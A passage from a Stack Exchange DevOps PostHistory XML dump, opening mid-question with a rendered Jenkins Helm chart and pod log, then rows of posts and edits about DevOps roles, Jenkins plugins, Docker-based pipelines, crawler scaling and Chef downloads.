&lt;retentionTimeout&gt;5&lt;/retentionTimeout&gt;&#xD;&#xA;              &lt;connectTimeout&gt;0&lt;/connectTimeout&gt;&#xD;&#xA;              &lt;readTimeout&gt;0&lt;/readTimeout&gt;&#xD;&#xA;              &lt;podRetention class=&quot;org.csanchez.jenkins.plugins.kubernetes.pod.retention.Never&quot;/&gt;&#xD;&#xA;            &lt;/org.csanchez.jenkins.plugins.kubernetes.KubernetesCloud&gt;&#xD;&#xA;          &lt;/clouds&gt;&#xD;&#xA;          &lt;quietPeriod&gt;5&lt;/quietPeriod&gt;&#xD;&#xA;          &lt;scmCheckoutRetryCount&gt;0&lt;/scmCheckoutRetryCount&gt;&#xD;&#xA;          &lt;views&gt;&#xD;&#xA;            &lt;hudson.model.AllView&gt;&#xD;&#xA;              &lt;owner class=&quot;hudson&quot; reference=&quot;../../..&quot;/&gt;&#xD;&#xA;              &lt;name&gt;All&lt;/name&gt;&#xD;&#xA;              &lt;filterExecutors&gt;false&lt;/filterExecutors&gt;&#xD;&#xA;              &lt;filterQueue&gt;false&lt;/filterQueue&gt;&#xD;&#xA;              &lt;properties class=&quot;hudson.model.View$PropertyList&quot;/&gt;&#xD;&#xA;            &lt;/hudson.model.AllView&gt;&#xD;&#xA;          &lt;/views&gt;&#xD;&#xA;          &lt;primaryView&gt;All&lt;/primaryView&gt;&#xD;&#xA;          &lt;slaveAgentPort&gt;50000&lt;/slaveAgentPort&gt;&#xD;&#xA;          &lt;disabledAgentProtocols&gt;&#xD;&#xA;            &lt;string&gt;JNLP-connect&lt;/string&gt;&#xD;&#xA;            &lt;string&gt;JNLP2-connect&lt;/string&gt;&#xD;&#xA;          &lt;/disabledAgentProtocols&gt;&#xD;&#xA;          &lt;label&gt;&lt;/label&gt;&#xD;&#xA;          &lt;crumbIssuer class=&quot;hudson.security.csrf.DefaultCrumbIssuer&quot;&gt;&#xD;&#xA;            &lt;excludeClientIPFromCrumb&gt;true&lt;/excludeClientIPFromCrumb&gt;&#xD;&#xA;          &lt;/crumbIssuer&gt;&#xD;&#xA;          &lt;nodeProperties/&gt;&#xD;&#xA;          &lt;globalNodeProperties/&gt;&#xD;&#xA;          &lt;noUsageStatistics&gt;true&lt;/noUsageStatistics&gt;&#xD;&#xA;        &lt;/hudson&gt;&#xD;&#xA;      jenkins.model.JenkinsLocationConfiguration.xml: |-&#xD;&#xA;        &lt;?xml version='1.1' encoding='UTF-8'?&gt;&#xD;&#xA;        &lt;jenkins.model.JenkinsLocationConfiguration&gt;&#xD;&#xA;          &lt;adminAddress&gt;&lt;/adminAddress&gt;&#xD;&#xA;          &lt;jenkinsUrl&gt;http://inclined-eagle-jenkins:8080&lt;/jenkinsUrl&gt;&#xD;&#xA;        &lt;/jenkins.model.JenkinsLocationConfiguration&gt;&#xD;&#xA;      jenkins.CLI.xml: |-&#xD;&#xA;        &lt;?xml version='1.1' encoding='UTF-8'?&gt;&#xD;&#xA;        &lt;jenkins.CLI&gt;&#xD;&#xA;          &lt;enabled&gt;false&lt;/enabled&gt;&#xD;&#xA;        &lt;/jenkins.CLI&gt;&#xD;&#xA;      apply_config.sh: |-&#xD;&#xA;        mkdir -p /usr/share/jenkins/ref/secrets/;&#xD;&#xA;        echo &quot;false&quot; &gt; /usr/share/jenkins/ref/secrets/slave-to-master-security-kill-switch;&#xD;&#xA;        yes n | cp -i /var/jenkins_config/config.xml /var/jenkins_home;&#xD;&#xA;        yes n | cp -i /var/jenkins_config/jenkins.CLI.xml /var/jenkins_home;&#xD;&#xA;        yes n | cp -i /var/jenkins_config/jenkins.model.JenkinsLocationConfiguration.xml /var/jenkins_home;&#xD;&#xA;        # Install missing plugins&#xD;&#xA;        cp /var/jenkins_config/plugins.txt /var/jenkins_home;&#xD;&#xA;        rm -rf /usr/share/jenkins/ref/plugins/*.lock&#xD;&#xA;        /usr/local/bin/install-plugins.sh `echo $(cat /var/jenkins_home/plugins.txt)`;&#xD;&#xA;        # Copy plugins to shared volume&#xD;&#xA;        yes n | cp -i /usr/share/jenkins/ref/plugins/* /var/jenkins_plugins/;&#xD;&#xA;      plugins.txt: |-&#xD;&#xA;        kubernetes:1.14.0&#xD;&#xA;        workflow-job:2.31&#xD;&#xA;        workflow-aggregator:2.6&#xD;&#xA;        credentials-binding:1.17&#xD;&#xA;        git:3.9.1&#xD;&#xA;    ---&#xD;&#xA;    # Source: jenkins/templates/test-config.yaml&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: ConfigMap&#xD;&#xA;    metadata:&#xD;&#xA;      name: inclined-eagle-jenkins-tests&#xD;&#xA;    data:&#xD;&#xA;      run.sh: |-&#xD;&#xA;        @test &quot;Testing Jenkins UI is accessible&quot; {&#xD;&#xA;          curl --retry 48 --retry-delay 10 inclined-eagle-jenkins:8080/login&#xD;&#xA;        }&#xD;&#xA;    ---&#xD;&#xA;    # Source: jenkins/templates/home-pvc.yaml&#xD;&#xA;    kind: PersistentVolumeClaim&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    metadata:&#xD;&#xA;      name: inclined-eagle-jenkins&#xD;&#xA;      labels:&#xD;&#xA;        app: inclined-eagle-jenkins&#xD;&#xA;        chart: &quot;jenkins-0.28.6&quot;&#xD;&#xA;        release: &quot;inclined-eagle&quot;&#xD;&#xA;        heritage: &quot;Tiller&quot;&#xD;&#xA;    spec:&#xD;&#xA;      accessModes:&#xD;&#xA;        - &quot;ReadWriteOnce&quot;&#xD;&#xA;      resources:&#xD;&#xA;        requests:&#xD;&#xA;          storage: &quot;4Gi&quot;&#xD;&#xA;    ---&#xD;&#xA;    # Source: jenkins/templates/jenkins-agent-svc.yaml&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: Service&#xD;&#xA;    metadata:&#xD;&#xA;      name: inclined-eagle-jenkins-agent&#xD;&#xA;      labels:&#xD;&#xA;        app: inclined-eagle-jenkins&#xD;&#xA;        chart: &quot;jenkins-0.28.6&quot;&#xD;&#xA;        component: &quot;inclined-eagle-jenkins-master&quot;&#xD;&#xA;    spec:&#xD;&#xA;      ports:&#xD;&#xA;        - port: 50000&#xD;&#xA;          targetPort: 50000&#xD;&#xA;          &#xD;&#xA;          name: slavelistener&#xD;&#xA;      selector:&#xD;&#xA;        component: &quot;inclined-eagle-jenkins-master&quot;&#xD;&#xA;      type: ClusterIP&#xD;&#xA;    ---&#xD;&#xA;    # Source: jenkins/templates/jenkins-master-svc.yaml&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: Service&#xD;&#xA;    metadata:&#xD;&#xA;      name: inclined-eagle-jenkins&#xD;&#xA;      labels:&#xD;&#xA;        app: inclined-eagle-jenkins&#xD;&#xA;        heritage: &quot;Tiller&quot;&#xD;&#xA;        release: &quot;inclined-eagle&quot;&#xD;&#xA;        chart: &quot;jenkins-0.28.6&quot;&#xD;&#xA;        component: &quot;inclined-eagle-jenkins-master&quot;&#xD;&#xA;    spec:&#xD;&#xA;      ports:&#xD;&#xA;        - port: 8080&#xD;&#xA;          name: http&#xD;&#xA;          targetPort: 8080&#xD;&#xA;          &#xD;&#xA;      selector:&#xD;&#xA;        component: &quot;inclined-eagle-jenkins-master&quot;&#xD;&#xA;      type: NodePort&#xD;&#xA;    ---&#xD;&#xA;    # Source: jenkins/templates/jenkins-master-deployment.yaml&#xD;&#xA;    apiVersion: apps/v1&#xD;&#xA;    kind: Deployment&#xD;&#xA;    metadata:&#xD;&#xA;      name: inclined-eagle-jenkins&#xD;&#xA;      labels:&#xD;&#xA;        heritage: &quot;Tiller&quot;&#xD;&#xA;        release: &quot;inclined-eagle&quot;&#xD;&#xA;        chart: &quot;jenkins-0.28.6&quot;&#xD;&#xA;        component: &quot;inclined-eagle-jenkins-master&quot;&#xD;&#xA;    spec:&#xD;&#xA;      replicas: 1&#xD;&#xA;      strategy:&#xD;&#xA;        type: Recreate&#xD;&#xA;      selector:&#xD;&#xA;        matchLabels:&#xD;&#xA;          component: &quot;inclined-eagle-jenkins-master&quot;&#xD;&#xA;      template:&#xD;&#xA;        metadata:&#xD;&#xA;          labels:&#xD;&#xA;            app: inclined-eagle-jenkins&#xD;&#xA;            heritage: &quot;Tiller&quot;&#xD;&#xA;            release: &quot;inclined-eagle&quot;&#xD;&#xA;            chart: &quot;jenkins-0.28.6&quot;&#xD;&#xA;            component: &quot;inclined-eagle-jenkins-master&quot;&#xD;&#xA;          annotations:&#xD;&#xA;            checksum/config: 4eebbff9187d5eadf249ff0106423ec0b571659e014ed75f2abef5619afc24f9&#xD;&#xA;        spec:&#xD;&#xA;          securityContext:&#xD;&#xA;            runAsUser: 0&#xD;&#xA;          serviceAccountName: &quot;default&quot;&#xD;&#xA;          initContainers:&#xD;&#xA;            - name: &quot;copy-default-config&quot;&#xD;&#xA;              image: &quot;jenkins/jenkins:lts&quot;&#xD;&#xA;              imagePullPolicy: &quot;Always&quot;&#xD;&#xA;              command: [ &quot;sh&quot;, &quot;/var/jenkins_config/apply_config.sh&quot; ]&#xD;&#xA;              resources:&#xD;&#xA;                limits:&#xD;&#xA;                  cpu: 2000m&#xD;&#xA;                  memory: 2048Mi&#xD;&#xA;                requests:&#xD;&#xA;                  cpu: 50m&#xD;&#xA;                  memory: 256Mi&#xD;&#xA;                &#xD;&#xA;              volumeMounts:&#xD;&#xA;                -&#xD;&#xA;                  mountPath: /var/jenkins_home&#xD;&#xA;                  name: jenkins-home&#xD;&#xA;                -&#xD;&#xA;                  mountPath: /var/jenkins_config&#xD;&#xA;                  name: jenkins-config&#xD;&#xA;                -&#xD;&#xA;                  mountPath: /var/jenkins_plugins&#xD;&#xA;                  name: plugin-dir&#xD;&#xA;                -&#xD;&#xA;                  mountPath: /usr/share/jenkins/ref/secrets/&#xD;&#xA;                  name: secrets-dir&#xD;&#xA;          containers:&#xD;&#xA;            - name: inclined-eagle-jenkins&#xD;&#xA;              image: &quot;jenkins/jenkins:lts&quot;&#xD;&#xA;              imagePullPolicy: &quot;Always&quot;&#xD;&#xA;              args: [ &quot;--argumentsRealm.passwd.$(ADMIN_USER)=$(ADMIN_PASSWORD)&quot;,  &quot;--argumentsRealm.roles.$(ADMIN_USER)=admin&quot;]&#xD;&#xA;              env:&#xD;&#xA;                - name: JAVA_OPTS&#xD;&#xA;                  value: &quot;&quot;&#xD;&#xA;                - name: JENKINS_OPTS&#xD;&#xA;                  value: &quot;&quot;&#xD;&#xA;                - name: ADMIN_PASSWORD&#xD;&#xA;                  valueFrom:&#xD;&#xA;                    secretKeyRef:&#xD;&#xA;                      name: inclined-eagle-jenkins&#xD;&#xA;                      key: jenkins-admin-password&#xD;&#xA;                - name: ADMIN_USER&#xD;&#xA;                  valueFrom:&#xD;&#xA;                    secretKeyRef:&#xD;&#xA;                      name: inclined-eagle-jenkins&#xD;&#xA;                      key: jenkins-admin-user&#xD;&#xA;              ports:&#xD;&#xA;                - containerPort: 8080&#xD;&#xA;                  name: http&#xD;&#xA;                - containerPort: 50000&#xD;&#xA;                  name: slavelistener&#xD;&#xA;              livenessProbe:&#xD;&#xA;                httpGet:&#xD;&#xA;                  path: &quot;/login&quot;&#xD;&#xA;                  port: http&#xD;&#xA;                initialDelaySeconds: 90&#xD;&#xA;                timeoutSeconds: 5&#xD;&#xA;                failureThreshold: 12&#xD;&#xA;              readinessProbe:&#xD;&#xA;                httpGet:&#xD;&#xA;                  path: &quot;/login&quot;&#xD;&#xA;                  port: http&#xD;&#xA;                initialDelaySeconds: 60&#xD;&#xA;                periodSeconds: 10&#xD;&#xA;              # Resources configuration is a little hacky. This was to prevent breaking&#xD;&#xA;              # changes, and should be cleanned up in the future once everybody had&#xD;&#xA;              # enough time to migrate.&#xD;&#xA;              resources:&#xD;&#xA;    &#xD;&#xA;                limits:&#xD;&#xA;                  cpu: 2000m&#xD;&#xA;                  memory: 2048Mi&#xD;&#xA;                requests:&#xD;&#xA;                  cpu: 50m&#xD;&#xA;                  memory: 256Mi&#xD;&#xA;                &#xD;&#xA;    &#xD;&#xA;              volumeMounts:&#xD;&#xA;                -&#xD;&#xA;                  mountPath: /var/jenkins_home&#xD;&#xA;                  name: jenkins-home&#xD;&#xA;                  readOnly: false&#xD;&#xA;                -&#xD;&#xA;                  mountPath: /var/jenkins_config&#xD;&#xA;                  name: jenkins-config&#xD;&#xA;                  readOnly: true&#xD;&#xA;                -&#xD;&#xA;                  mountPath: /usr/share/jenkins/ref/plugins/&#xD;&#xA;                  name: plugin-dir&#xD;&#xA;                  readOnly: false&#xD;&#xA;                -&#xD;&#xA;                  mountPath: /usr/share/jenkins/ref/secrets/&#xD;&#xA;                  name: secrets-dir&#xD;&#xA;                  readOnly: false&#xD;&#xA;          volumes:&#xD;&#xA;          - name: jenkins-config&#xD;&#xA;            configMap:&#xD;&#xA;              name: inclined-eagle-jenkins&#xD;&#xA;          - name: plugin-dir&#xD;&#xA;            emptyDir: {}&#xD;&#xA;          - name: secrets-dir&#xD;&#xA;            emptyDir: {}&#xD;&#xA;          - name: jenkins-home&#xD;&#xA;            persistentVolumeClaim:&#xD;&#xA;              claimName: inclined-eagle-jenkins&#xD;&#xA;&#xD;&#xA;pod's log:&#xD;&#xA;&#xD;&#xA;    container &quot;inclined-eagle-jenkins&quot; in pod &quot;inclined-eagle-jenkins-65c8f989d-lglfc&quot; is waiting to start: PodInitializing&#xD;&#xA;&#xD;&#xA;There is also warning message among events:&#xD;&#xA;&#xD;&#xA;    AssumePod failed: pod 6bf15a11-168a-11e9-b322-0800277359c7 is in the cache, so can't be assumed" ContentLicense="CC BY-SA 4.0" />
  <row Id="19151" PostHistoryTypeId="5" PostId="5962" RevisionGUID="be339890-58e2-4fda-b581-5a9ee42bf617" CreationDate="2019-01-12T19:15:03.007" UserId="10599" Comment="capitalisation for clarity " Text="&gt; What is the future of DevOps in the age of serverless? Can you see&#xD;&#xA;&gt; less and less DevOps roles being available in the age of serverless?&#xD;&#xA;&#xD;&#xA;I personally dislike the DevOps Engineer role as DevOps is a culture! What you probably mean is whether Operations or System Engineers will be phased out. Like the other answers indicate, these activities will still be required, but the number of such activities and roles will decrease.&#xD;&#xA;&#xD;&#xA;I personally feel very pressured by the shift to the cloud. Back in the day, I was replacing servers in Datacenter racks, provision them using PXEboot and puppet, monitoring and maintaining them, but now one can just create new servers in the cloud very easily. So basically if I would be stubborn and ignore the cloud I will be substituted out in a couple of years. I really feel that I personally should run everything in production in cloud and k8s as soon as possible and that is why I try to get productive with for example Spring Boot to create business value for the company.&#xD;&#xA;&#xD;&#xA;I would argue that every engineer should deploy apps in the cloud automatically and should find a way to create business value for the company by complying to industry standards, e.g. terraform, cloud (AWS, GCP, Azure), container-orchestration (Kubernetes, Docker Swarm), containers (Docker or Rockit)." ContentLicense="CC BY-SA 4.0" />
  <row Id="19152" PostHistoryTypeId="24" PostId="5962" RevisionGUID="be339890-58e2-4fda-b581-5a9ee42bf617" CreationDate="2019-01-12T19:15:03.007" Comment="Proposed by 10599 approved by 210 edit id of 916" ContentLicense="CC BY-SA 4.0" />
  <row Id="19153" PostHistoryTypeId="6" PostId="5898" RevisionGUID="124b1108-3632-4676-824d-bff40044a62d" CreationDate="2019-01-12T19:15:11.060" UserId="3767" Comment="retag (edit summary must have at least 10 characters)" Text="&lt;kubernetes&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19154" PostHistoryTypeId="24" PostId="5898" RevisionGUID="124b1108-3632-4676-824d-bff40044a62d" CreationDate="2019-01-12T19:15:11.060" Comment="Proposed by 3767 approved by 40, 210 edit id of 915" ContentLicense="CC BY-SA 4.0" />
  <row Id="19155" PostHistoryTypeId="5" PostId="5962" RevisionGUID="149943d3-3b93-41e4-bbe9-34614cce2f98" CreationDate="2019-01-12T19:16:11.740" UserId="210" Comment="deleted 4 characters in body" Text="&gt; What is the future of DevOps in the age of serverless? Can you see&#xD;&#xA;&gt; less and less DevOps roles being available in the age of serverless?&#xD;&#xA;&#xD;&#xA;I personally dislike the DevOps Engineer role as DevOps is a culture! What you probably mean is whether Operations or System Engineers will be phased out. Like the other answers indicate, these activities will still be required, but the number of such activities and roles will decrease.&#xD;&#xA;&#xD;&#xA;I personally feel very pressured by the shift to the cloud. Back in the day, I was replacing servers in Datacenter racks, provision them using PXEboot and puppet, monitoring and maintaining them, but now one can just create new servers in the cloud very easily. So basically if I would be stubborn and ignore the cloud I will be substituted in a couple of years. I really feel that I personally should run everything in production in cloud and k8s as soon as possible and that is why I try to get productive with for example Spring Boot to create business value for the company.&#xD;&#xA;&#xD;&#xA;I would argue that every engineer should deploy apps in the cloud automatically and should find a way to create business value for the company by complying to industry standards, e.g. terraform, cloud (AWS, GCP, Azure), container-orchestration (Kubernetes, Docker Swarm), containers (Docker or Rockit)." ContentLicense="CC BY-SA 4.0" />
  <row Id="19156" PostHistoryTypeId="2" PostId="5971" RevisionGUID="eec281e4-e3a0-46dd-9ef6-82f189959a7e" CreationDate="2019-01-12T21:12:53.907" UserId="11693" Text="My company wants to visualize the % of failed/successful deployments of jenkins jobs.&#xD;&#xA;&#xD;&#xA;And the way jenkins is arranged complicates the task, each team or project is a folder name and inside the project folder the jobs are called same.&#xD;&#xA;&#xD;&#xA;Folder1&#xD;&#xA;   samejobname&#xD;&#xA;   subfolder1&#xD;&#xA;      jobname&#xD;&#xA;folder2&#xD;&#xA;   samejobname&#xD;&#xA;   subfolder1&#xD;&#xA;      jobname&#xD;&#xA;.&#xD;&#xA;.&#xD;&#xA;.&#xD;&#xA;folderN&#xD;&#xA;   samejobname&#xD;&#xA;   subfolder1&#xD;&#xA;   .&#xD;&#xA;   .&#xD;&#xA;   .&#xD;&#xA;   subfolderN&#xD;&#xA;&#xD;&#xA;So I need a plugin (there must be one) which can give me this stats of each job so I can take it from API and pull them to prometheus somehow.&#xD;&#xA;&#xD;&#xA;I will be very very happy to be pointed in the right direction so thanks in advance for all the help." ContentLicense="CC BY-SA 4.0" />
  <row Id="19157" PostHistoryTypeId="1" PostId="5971" RevisionGUID="eec281e4-e3a0-46dd-9ef6-82f189959a7e" CreationDate="2019-01-12T21:12:53.907" UserId="11693" Text="Jenkins plugin recomendation" ContentLicense="CC BY-SA 4.0" />
  <row Id="19158" PostHistoryTypeId="3" PostId="5971" RevisionGUID="eec281e4-e3a0-46dd-9ef6-82f189959a7e" CreationDate="2019-01-12T21:12:53.907" UserId="11693" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;prometheus&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19159" PostHistoryTypeId="2" PostId="5972" RevisionGUID="21f0f516-369d-4685-b466-310f397d633c" CreationDate="2019-01-12T22:34:46.210" UserId="10599" Text="Use a docker image within your pipeline that has `helm` and other tools installed.&#xA;&#xA;To [quote the docs][1]:&#xA;&#xA;&gt; Pipeline is designed to easily use Docker images as the execution&#xA;&gt; environment for a single Stage or the entire Pipeline. Meaning that a&#xA;&gt; user can define the tools required for their Pipeline, without having&#xA;&gt; to manually configure agents. Practically any tool which can be&#xA;&gt; packaged in a Docker container. can be used with ease by making only&#xA;&gt; minor edits to a Jenkinsfile.&#xA;&#xA;It then gives an example that we can modify to show running helm:&#xA;&#xA;    pipeline {&#xA;        agent {&#xA;            docker { image 'your_image:1.0' }&#xA;        }&#xA;        stages {&#xA;            stage('Deploy') {&#xA;                steps {&#xA;                    sh 'helm list'&#xA;                }&#xA;            }&#xA;        }&#xA;    }&#xA;&#xA;This is a total game changer. Docker is the plugin to end all plugins. Before Docker you had to find a plug-in written in Java that tired to expose a DSL to try to be scriptable in Groovy. That is because before Docker it was not secure or scalable to let you simply run your own tools and scripts on a shared Jenkins. With docker you can safely run any  scripts or any tools. So you no longer have the indirection of Java plugins you can use the full power of any Linux tool on any Linux distro. &#xA;&#xA;This approach is exactly how new cloud based build engines work. With bitbucket.com pipelines and cricke-ci.com you don’t need any plugins. You simply say which containers to use and what tools and scripts to run that are in in the containers. The build engine simply checks out the code where the docker container can see it.&#xA;&#xA;Once you have used Docker based builds for a while doing it the old way feels very restricted and limiting. Of course there is a learning curve to be able to create and publish docker images with your build tools and scripts but if you are already using kubernetes and helm you already need those skills. &#xA;&#xA;&#xA;  [1]: https://jenkins.io/doc/book/pipeline/docker/" ContentLicense="CC BY-SA 4.0" />
  <row Id="19160" PostHistoryTypeId="2" PostId="5973" RevisionGUID="a06cd988-e92e-4e5c-a065-385eef933562" CreationDate="2019-01-12T22:34:47.303" UserId="11805" Text="I'm currently trying to scale a crawler in the cloud.  &#xD;&#xA;I'm wondering what would be the best way to automate the work-flow, considering the following conditions:  &#xD;&#xA;- Guaranteed bandwidth, CPU and memory per crawler, no matter how many crawls are running in parallel.  &#xD;&#xA;- Sometimes there are 3 crawlers running at the same time, sometimes 10000.  &#xD;&#xA;- There is no need of communication between crawlers, and no shared queue.  &#xD;&#xA;- The crawl should start quickly after the demand of the user. &#xD;&#xA;&#xD;&#xA;The potential &quot;work-flow&quot; could be:  &#xD;&#xA;1 - A user pushes a button to start a crawl.   &#xD;&#xA;2 - An API receives the request.   &#xD;&#xA;3 - The API asks if there is a container available to start a crawl.  &#xD;&#xA;Here 2 options:  &#xD;&#xA;3a - A container was in stand-by, ready to start .  &#xD;&#xA;3b - No container available, so a new container is started .   &#xD;&#xA;4 - The IP:PORT of the container is sent to the API, and tagged as &quot;reserved&quot; .   &#xD;&#xA;5 - The API receives the IP:PORT . &#xD;&#xA;6 - The API sends the request to http://IP:PORT with the required parameters to start the crawl (URL, etc.).  &#xD;&#xA;Here 2 options:  &#xD;&#xA;6a - Expected behavior: The crawl starts.  &#xD;&#xA;=&gt; A new container is started and is tagged as &quot;available&quot; mode for potential new crawl to come.  &#xD;&#xA;6b - Unexpected behavior: The request to start the crawl doesn't reach the target.  &#xD;&#xA;=&gt; The container is tagged as &quot;available&quot; after n seconds without being used to start a crawl.  &#xD;&#xA;7 - The container used for the crawl is deleted.  &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19161" PostHistoryTypeId="1" PostId="5973" RevisionGUID="a06cd988-e92e-4e5c-a065-385eef933562" CreationDate="2019-01-12T22:34:47.303" UserId="11805" Text="How to automate a work-flow in the cloud?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19162" PostHistoryTypeId="3" PostId="5973" RevisionGUID="a06cd988-e92e-4e5c-a065-385eef933562" CreationDate="2019-01-12T22:34:47.303" UserId="11805" Text="&lt;containers&gt;&lt;automation&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19163" PostHistoryTypeId="5" PostId="5972" RevisionGUID="3217aa2b-6a69-41fd-99ac-d0a356f42deb" CreationDate="2019-01-12T22:45:22.937" UserId="10599" Comment="added 115 characters in body; added 84 characters in body; deleted 11 characters in body; deleted 77 characters in body" Text="Use a docker image within your pipeline that has `helm` and other tools installed.&#xA;&#xA;To [quote the docs][1]:&#xA;&#xA;&gt; Pipeline is designed to easily use Docker images as the execution&#xA;&gt; environment for a single Stage or the entire Pipeline. Meaning that a&#xA;&gt; user can define the tools required for their Pipeline, without having&#xA;&gt; to manually configure agents. Practically any tool which can be&#xA;&gt; packaged in a Docker container. can be used with ease by making only&#xA;&gt; minor edits to a Jenkinsfile.&#xA;&#xA;It then gives an example that we can modify to show running helm:&#xA;&#xA;    pipeline {&#xA;        agent {&#xA;            docker { image 'your_image:1.0' }&#xA;        }&#xA;        stages {&#xA;            stage('Deploy') {&#xA;                steps {&#xA;                    sh 'helm list'&#xA;                }&#xA;            }&#xA;        }&#xA;    }&#xA;&#xA;This is a total game changer. Docker is the plugin to end all plugins. Before Docker you had to find a plug-in written in Java that to exposes a DSL to be scriptable in a Groovy sandbox. That was because it was not secure or scalable to let you simply run your own tools and scripts on a shared Jenkins. You were not even allowed use the full power of Groovy or Java. With Docker it is safe run any script or tools. So you no longer have the indirection of Java plugins and you can use the full power of any Linux tool on any Linux distro.&#xA;&#xA;This approach is exactly how new cloud based build engines work. With bitbucket.com pipelines and crickeci.com you don’t need any plugins. You simply say which containers to use and what tools and scripts to run that are in in the containers. The build engine simply checks out the code where the docker container can see it.&#xA;&#xA;Once you have used Docker based builds for a while doing it the old way feels very restricted and limiting. For example consider having to move files around in the build. In a pipeline with Groovy if you are new to Jenkins you have to look at a huge amount (ugly) documentation to just to basic things. If you use docker you can simply use standard bash and Linux commands.  &#xA;&#xA;&#xA;  [1]: https://jenkins.io/doc/book/pipeline/docker/" ContentLicense="CC BY-SA 4.0" />
  <row Id="19164" PostHistoryTypeId="5" PostId="5957" RevisionGUID="3b847cf1-b3af-44cc-b633-5b6cf08b8d64" CreationDate="2019-01-12T22:47:02.137" UserId="739" Comment="formatting code and capitalization" Text="I am trying to implement the below `wget` download command using chef `remote_file` resource. But I couldn't find a way to avoid the re-directions. The URL that I am trying to access may sometimes be redirected to my ISP bill reminder page. And chef `remote_file` resource downloads this bill reminder HTML page as a zip file.&#xD;&#xA;&#xD;&#xA;```wget -N  --max-redirect=0 http://www.someurl.com/file.zip```&#xD;&#xA;&#xD;&#xA;The chef recipe resource is &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;remote_file &quot;#{node['download-zip-path']}/#{zip}&quot; do&#xD;&#xA;	source &quot;http://www.someurl.com/#{zip}&quot;&#xD;&#xA;	action :create&#xD;&#xA;    notifies :run, 'execute[unzip_file]', :delayed&#xD;&#xA;end&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The `--max-redirect=0` flag in `wget` makes sure that there isn't any redirection to ISP page. I can achieve the same using ruby's `open-uri` or `execute` command resource but is there any native chef way to achieve this no/zero re-direction?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19165" PostHistoryTypeId="6" PostId="5887" RevisionGUID="d0a70693-7885-4346-a4c0-67f0c94a3039" CreationDate="2019-01-12T22:48:27.997" UserId="739" Comment="add deployment tag" Text="&lt;kubernetes&gt;&lt;deployment&gt;&lt;google-cloud-platform&gt;&lt;elastic&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19166" PostHistoryTypeId="5" PostId="5972" RevisionGUID="4098e815-2733-4c54-b78b-3b72dddeacfb" CreationDate="2019-01-12T22:52:11.420" UserId="10599" Comment="added 1 character in body; added 7 characters in body" Text="Use a docker image within your pipeline that has `helm` and other tools installed.&#xA;&#xA;To [quote the docs][1]:&#xA;&#xA;&gt; Pipeline is designed to easily use Docker images as the execution&#xA;&gt; environment for a single Stage or the entire Pipeline. Meaning that a&#xA;&gt; user can define the tools required for their Pipeline, without having&#xA;&gt; to manually configure agents. Practically any tool which can be&#xA;&gt; packaged in a Docker container. can be used with ease by making only&#xA;&gt; minor edits to a Jenkinsfile.&#xA;&#xA;It then gives an example that we can modify to show running helm:&#xA;&#xA;    pipeline {&#xA;        agent {&#xA;            docker { image 'your_image:1.0' }&#xA;        }&#xA;        stages {&#xA;            stage('Deploy') {&#xA;                steps {&#xA;                    sh 'helm list'&#xA;                }&#xA;            }&#xA;        }&#xA;    }&#xA;&#xA;This is a total game changer. Docker is the plugin to end all plugins. Before Docker you had to find a plug-in written in Java that to exposes a DSL to be scriptable in a Groovy sandbox. That was because it was not secure or scalable to let you simply run your own tools and scripts on a shared Jenkins. You were not even allowed use the full power of Groovy or Java. With Docker it is safe run any script or tools. So you no longer have the indirection of Java plugins and you can use the full power of any Linux tool on any Linux distro.&#xA;&#xA;This approach is exactly how new cloud based build engines work. With bitbucket.com pipelines and cricleci.com you don’t need any plugins. You simply say which containers to use and what commands to run within them just like the example above. The build engine simply checks out the code where the docker container can see it.&#xA;&#xA;Once you have used Docker based builds for a while doing it the old way feels very restricted and limiting. For example consider having to move files around in the build. In a pipeline with Groovy if you are new to Jenkins you have to look at a huge amount of (very ugly) documentation to just to basic things. If you use docker you can simply use standard bash and Linux commands.  &#xA;&#xA;  [1]: https://jenkins.io/doc/book/pipeline/docker/" ContentLicense="CC BY-SA 4.0" />
  <row Id="19167" PostHistoryTypeId="2" PostId="5974" RevisionGUID="99fea95b-5330-4248-b4dd-a78524265c68" CreationDate="2019-01-12T23:47:45.893" UserId="9839" Text="In Azure DevOps there is no Collection - there is a project and there are organizations which hold zero or more projects. There is also a distinction between the code repositories and the builds and between the builds and the release mechanism. &#xD;&#xA;&#xD;&#xA;Within a build pipeline it is entirely possible to reference a different projects repository to pull into the build and that repository could be in GitHub, Gitlab, or another VSTS organization, and within a release it is entirely possible to include build artifacts from multiple build pipelines.&#xD;&#xA;&#xD;&#xA;TFS on-premises depends highly on how up-to-date it has been kept. The most recent versions are feature equal or close to it with Azure DevOps and the above should be true. Milage may vary in older versions. &#xD;&#xA;&#xD;&#xA;It isn't clear here in your question though what you are trying to achieve or what you've tried so far." ContentLicense="CC BY-SA 4.0" />
  <row Id="19168" PostHistoryTypeId="5" PostId="4669" RevisionGUID="89b265a8-1f1b-4c39-8f09-8867739719ed" CreationDate="2019-01-13T03:18:21.170" UserId="7896" Comment="added 109 characters in body" Text="I want to understand what is a virtual repository in the context of Artifacts Repository Manager.&#xD;&#xA;&#xD;&#xA;Before that, I referred the documentation. But, I didn't get the explanation as I was new to DevOps that time. Thanks." ContentLicense="CC BY-SA 4.0" />
  <row Id="19169" PostHistoryTypeId="50" PostId="5725" RevisionGUID="87465085-5ee0-4e8f-acaa-bb8da02c9bee" CreationDate="2019-01-13T04:05:20.940" UserId="-1" />
